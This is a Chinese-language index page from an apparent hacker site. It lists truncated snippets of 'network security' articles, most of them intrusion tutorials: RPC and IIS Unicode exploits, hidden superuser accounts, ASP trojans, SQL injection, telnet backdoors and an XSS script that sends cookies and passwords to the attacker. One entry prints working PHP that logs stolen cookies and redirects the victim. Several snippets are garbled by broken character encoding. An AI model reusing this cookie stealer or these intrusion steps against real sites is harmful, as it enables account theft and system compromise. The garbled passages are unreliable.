- 当菜鸟遇上椭�:信息窃取
- 黑客通过前期准备工作后，就要开始为达到他们的目的，实行各种黑客行为了。窃取对方计算机内的信息——是笔者首先要谈到的，先别说它的危害会造成多少多少的经济损失，就说你的隐私和ID外泄，起码不是一件值得高兴的事。 窃取信息 窃取对方计算机信息手段较多，但归结起来本质一样：都是通过程序，寻找或记录种植（程序）者
- 分类：网络安全
- 如何成为一名黑客
- -------------------------------------------------------------------------------- 内容一览 为什么会有这份文档？ 什么是黑客？ 黑客应有的态度 黑客的基本技能 黑客文化中的地位 黑客和书呆子(Nerd)的联系 风格的意义 其它资源 FAQ（常问问题解答） ----------------------------------------------------------------
- 分类：网络安全
- 如何成为一名黑客 (二)
- -------------------------------------------------------------------------------- 黑客的基本技能 黑客态度重要，但技术更加重要。态度无法替代技术，在你被别的黑客称为黑客之前，有一些基本的技术你必须掌握。 这些基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如，过去内容包括使用机器语言编程，
- 分类：网络安全
- 剑客论坛被黑与孤独剑客谈黑客
- 2003年11月15日(星期六)上午9点左右，仍在睡梦(我的爱好之一:)中的我突然被手机声唤醒，原来是《黑客X档案》的主编zero给我打来的电话，说我论坛的页面被改了，按照常理说，我应该很吃惊的，毕竟在国内很多人对我的站点虎视眈眈啊，记得很多黑客爱好者新手对我说过：“将来我一定要打败你� 保乙话愣祭趾呛堑鼗卮穑骸拔蚁
- 分类：网络安全
- 最后的战役：漏洞攻击
- 漏洞攻击 对微软（Microsoft）而言，最具讽刺的是总被黑客先发现漏洞，待Windows们倒下后，微软才站出来补充两句：“最新的补丁已经发布，如果客户没有及时下载补丁程序而造成的后果，我们将不承担责任� � 攻击： 细细盘查，漏洞攻击主要集中在系统的两个部分：1.系统的对外服务上，如“冲击波”病毒针对系统的“远程协助”
- 分类：网络安全
- 关闭netbios服务
- 如果你使用的是最早版本的Windows95，那关闭NetBIOS就是一件非常容易的事：找到系统里名为VnBT.386的文件，随便将它改个名，如改为Vnbt.out，这就算大功告成了。 如果你使用的是Windows95改进版、Windows98、Windows98SE或是WindowsMe,那就要稍微麻烦一点。首先，打开控制面板，进入“网络”对话窗，在配置表中，查看列表中
- 分类：网络安全
- 网络安全的若干问题
- 1、追踪用户的IP。这里的IP是指IP地址，也是上网用户的唯一身份说明。由它可获得用户的上网电话及其他资料。这样，安全部门一旦掌握你上网的IP，就非常容易查到你了。要避免暴露自己的IP，我们可使用安全的、可保密的代理服务器。 2、利用COOKIE。安全部门另外一种常用的监控手段是利用上网用户电脑中的COOKIE。所谓Cookie
- 分类：网络安全
- 从一次渗透测试谈起
- 一渗透的具体过程 朋友做了一个财务部门的项目，今天叫我来做免费的渗透测试，下面来谈谈这 次的过程和体会。 先来介绍一下子服务器的基本情况，windows2000advserver中文版，据称 打过了sp3，ASP+iis+MSSQL。首先扫描了一下子端口，呵呵，开始的一般步骤。 端口21开放:FTP(Control) 端口80开放:HTTP,WorldWideWeb 端口135
- 分类：网络安全
- UNICODE漏洞的原理
- 一、UNICODE漏洞的原理 此漏洞从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1， 台湾繁体中文也同样存在这样的漏洞。 中文版的WIN2000中，UNICODE编码存在BUG，在UNICODE编码中 %c1%1c-〉(0xc1-0xc0)*0x40+0x1c=0x5c=‘/‘ %c0%2f-〉(0xc0-0xc0)*0x40+0x2f=0x2f=‘\‘ 在NT4中/编码为%c1%9c 在英
- 分类：网络安全
- 建立隐藏的超级用户
- 前几天在某个网站(记不清了，不好意思^_*）上看到了一篇介绍如何建立隐藏的超级用户的图文教程，给我了很大的启发，作者只说明了如何在本地图形界面下建立隐藏的超级用户，且作者说他无法在命令行下实现隐藏的超级用户的建立，于是我就开始自已摸索，刚开始时，我用reg.exe（3.0版)作为命令行下导出导入注册表文件的工具，
- 分类：网络安全
- Telnet的攻击
- 所谓对telnet的攻击也不外乎对telnet的用户猜解和对telnet服务进程的溢出，除了这些，本人觉得telnet并没有太大的问题.telnet的连接并不是大家想象的那么简单了，虽然没有像ssh那样进行加密，不过，还是比FTP等通讯来的复杂。 D:telnet192.168.25.1 RedHatLinuxrelease7.3(Valhalla) Kernel2.4.18-3onani686 login:chi Pass
- 分类：网络安全
- asp木马配合servu取得管理员权限
- 今天心情不好，写一篇文章玩玩吧，利用网站的配置错误配合serv－u取得管理员权限，简单一点就是通过ASP木马配合serv－u取得管理员权限，哈哈哈，是不是很cool阿! －－－－－－－－－－－－文章开始－－－－－－－－－－－－ 为了找仓木麻衣的mp3（这个小姑娘的歌很好听阿），把半个互联网都搜完了（太夸张了把)，就是找不到
- 分类：网络安全
- ASP网络安全
- ASP网络安全： 一前言 MicrosoftActiveServerPages（ASP）是服务器端脚本编写环境，使用它可以创建和运行动态、交互的Web服务器应用程序。使用ASP可以组合Html页、脚本命令和ActiveX组件以创建交互的Web页和基于Web的功能强大的应用程序。现在很多网站特别是电子商务方面的网站，在前台上大都用ASP来实现。以至于现在ASP在
- 分类：网络安全
- 金山毒霸6的三个特殊应用
- 金山毒霸6除了具有超强性能的查杀和防御病毒外，还具有一些特殊的应用。如果用户能够很熟练地使用这些特殊而实用的功能，在一些特殊时候就可以大大方便我们的电脑操作。 一、修复EXE的文件关联 金山毒霸6每次启动时都会自动检查注册表中的EXE默认文件关联是否正确，如果EXE文件关联不是系统默认的设置，则金山毒霸6会自动将
- 分类：网络安全
- 图文教程让你的机更安全
- 图文教程，让你的肉机更安全 呵呵，总有人向我反应说他们的肉机给人黑了 好惨，因为他们一般是利用弱口令进去的 那么，别人一定也能利用弱口令进来啊，所以，要构造一台安全的肉机是必要的！ 今天累，先抓几张图，不多，以后再补充！ 首先，我们当然要进到服务里，去看看有什么危险的系统进程在开着啦 好，找到一个。看着注
- 分类：网络安全
- rpc漏洞的利用
- sunx出的那个程序成功率还不错 没用过的去sunx.org下载吧 简要说一下用法（给没用过的看的） 首先拿superscan去扫3268端口，因为这是域控制器的标志 这个漏洞只对域控制器有效 扫到这样的机器以后，用nc在本地监听一个端口 我是内网，只好在肉鸡上监听了 下面是在肉鸡上~nn.jpg就是我放上去的nc 218.0.0.0代表目标机 123.12
- 分类：网络安全
- LB5K论坛setskin.cgi存在管理员验证可绕开漏洞
- DedicatedThisScrapToCaoJing 涉及版本： LB5000XP所有版本，低于LB5000MX1.90（1.90已修复）所有版本 描述： LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛；由于setSKIN.cgi存在管理员验证可绕开漏洞，可能导致非法用户控制论坛或以web权限在系统上执行任意命令 具体： LB论坛管理菜单中有个“管理区插件设
- 分类：网络安全
- 榨干毒霸最后一滴油
- 据权威机构统计，一个软件只有30％左右的功能被利用，更多的则无人问津，杀毒软件尤为如此，每天除了随机启动，往往只有出现病毒提示，用户才意识到它的存在。其实每种杀毒软件除了必备的查毒、杀毒、防火墙以外，还带有许多附加功能，只有充分利用好这些功能，才能使你的系统更加安全，并能为你排除许多故障。下面我们就挖
- 分类：网络安全
- 从编程到入侵
- 大家是不是大都使用别人的工具来搞入侵呢，我也是，不过从学了编程以后，老是想自己写点程序，然后用它来入侵，这里就是教你如何实现自己的的梦想。 今天所要演示的是telnet的入侵，近来的sunos_telnet搞的风风火火. 1.扫描一个IP段，所以要写个IP扫描器 2.Telnetbannercheck,看telnet的反应,所以要写个systemoscheckdepent
- 分类：网络安全
- 从命令提示符执行 IIS 中的管理任务
- 本文介绍如何从命令提示符执行Internet信息服务(IIS)中的管理任务。有几种工具可以帮助管理任务的执行。本文中，这些任务划分为三个独立的任务组；不过，所有任务都是由驱动器盘符:\Inetpub\AdminScripts文件夹中Administrator组的组成员用户执行的。 备注：要打开命令提示符以执行本文介绍的任何任务，请按下列步骤操作：
- 分类：网络安全
- 渗透攻击必用命令与步骤
- 假设想攻击的主机IP是:61.139.1.79 同一子网下我们已有权限的主机IP是:61.139.1.88并可以3389登陆 第一步: tracert61.139.1.1 C:\WIN2000\system32tracert61.139.1.1 TracingroutetoHACK-4FJ7EARC[61.139.1.1] overamaximumof30hops: 110ms10ms10msHACK-4FJ7EARC[61.139.1.1] Tracecomplete. 这就说明了你想攻击的主机和你
- 分类：网络安全
- 端口详解（2）-端口的分类
- 端口可分为3大类： 1）公认端口（Well Known Ports）：从0到1023，它们紧密绑定于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如：80端口实际上总是HTTP通讯。 2）注册端口（Registered Ports）：从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口，这些端口同样用于许多其它目的
- 分类：网络安全
- 没开IPC$主机上传下载思路
- 比如用溢出攻击得到权限发现没有开139or445我们可以从内部makeit崩溃： 1.netshareipc$ 例如，使用webdav溢出得到systemnetshare看一下没有任何东西用什么东西都连不上所以要先打开ipc$——netshareipc$ 剩下的你愿意使用什么就可以了，比如dameware. 2.tFTP.exe 获得sa空口令，使用sqlexec链接，只开了80和1433怎么办？别
- 分类：网络安全
- Sql Injection with Access
- DedicatedThisScrapToCaoJing 很多朋友在Access下进行SQL注入攻击的时候，总会抱怨：ACCESS功能太弱了，没有注释符、不支持多语句查询...另一方面，很多程序员在使用ACCESS做数据库写程序时，往往只对那些对敏感表的操作代码执行严格审查，而其他一些表的操作代码就很粗糙了。这只能说我们对ACCESS了解太少了，前不久我有幸
- 分类：网络安全
- 完美的解决跨站脚本弹框框
- 完美的解决跨站脚本得COOKIE弹框框的问题 同时把密码用户名发到你在论坛的邮相里，爽吧 先头看到欲望之翼的self.window的办法 其实我一直有个从来没给任何人说的办法: 玩了好久了公布了呵呵: Html scriptlanguage=vbs subchangeq() ifform1.loc.value=""orform1.who.value=""then msgbox"没有加入地址或用户名?" exitsub en
- 分类：网络安全
- SMBRELAY终极应用
- 说明：：这次攻击过程只需要2台机器，3个IP地址 关于协议与IP问题的说明： 我的IP是218.197.248.212，可是SMBRELAY无法运行在这个IP上，而且我只有把自己机器上“打印机与文件共享”服务删除后才能接受目标机器传来的HASH，218.197.248.154是一个不存在的IP地址，所以我把SMBRELAY绑在218.197.248.154上，测试的时候，实际
- 分类：网络安全
- Opera 7 五个Dos漏洞
- 论坛登陆名:joker 提交者邮件地址:[email protected] 提交者QQ号码: 标题:Opera7五个Dos漏洞 版权：文章属中华安全网http://www.safechina.net和作者共同所有，转载请注明出处！！ 内容: -=Fastestbrowseronearth,Fastestcrashonearthtoo=- PRODUCT:OperaforWindows VERSIONS:7.11bbuild2887 7.11build2880 7.10build2840
- 分类：网络安全
- 获取cookie的源代码
- 以下是获取cookie的PHP源代码： ?php $info=getenv("QUERY_STRING"); if($info){ $fp=fopen("test.txt","a"); fwrite($fp,$info."\n"); fclose($fp); } ? scriptlanguage=vbscript document.location="http://my.51.net/bbs/" /script 如果得到cookie,则在空间中生成test.txt，为了不引起怀疑，将自动把网页转换到http://xi
- 分类：网络安全
- 对国内流行的三大telnet扩展后门程序的比较
- 现在流行的telnet扩展后门主要有三个:winshell,wollf和wineggdropshell,三个后门都是以w开头，不知道是不是巧合。以下我会详细对这三个后门作功能，大小，稳定性，优缺点,安全上的比较。 winshell最新版本是5.0,应该是不会有再新的版本的了。 wollf最新版本是1.6,很久都没有升级过了，很有可能不再有新的版本。 wineggdrops
- 分类：网络安全
- 新BBSXP漏洞[倒着看三]
- 最新BBSXP漏洞[倒着看三] 其实躺在床上看代码也是一件非常惬意的事情，特别是看那些写得很烂的东西时候， 你总莫名其妙地产生一种居高临下的感觉。在过了一个痛苦不堪的暑假后，尤其是在生病 后急需要调整心情的那段时间里，看BBSXP几乎成了我唯一的享受。 依然是BBSXP1.65a，依然是业余级别的代码和洞。 recycle.ASP行16、
- 分类：网络安全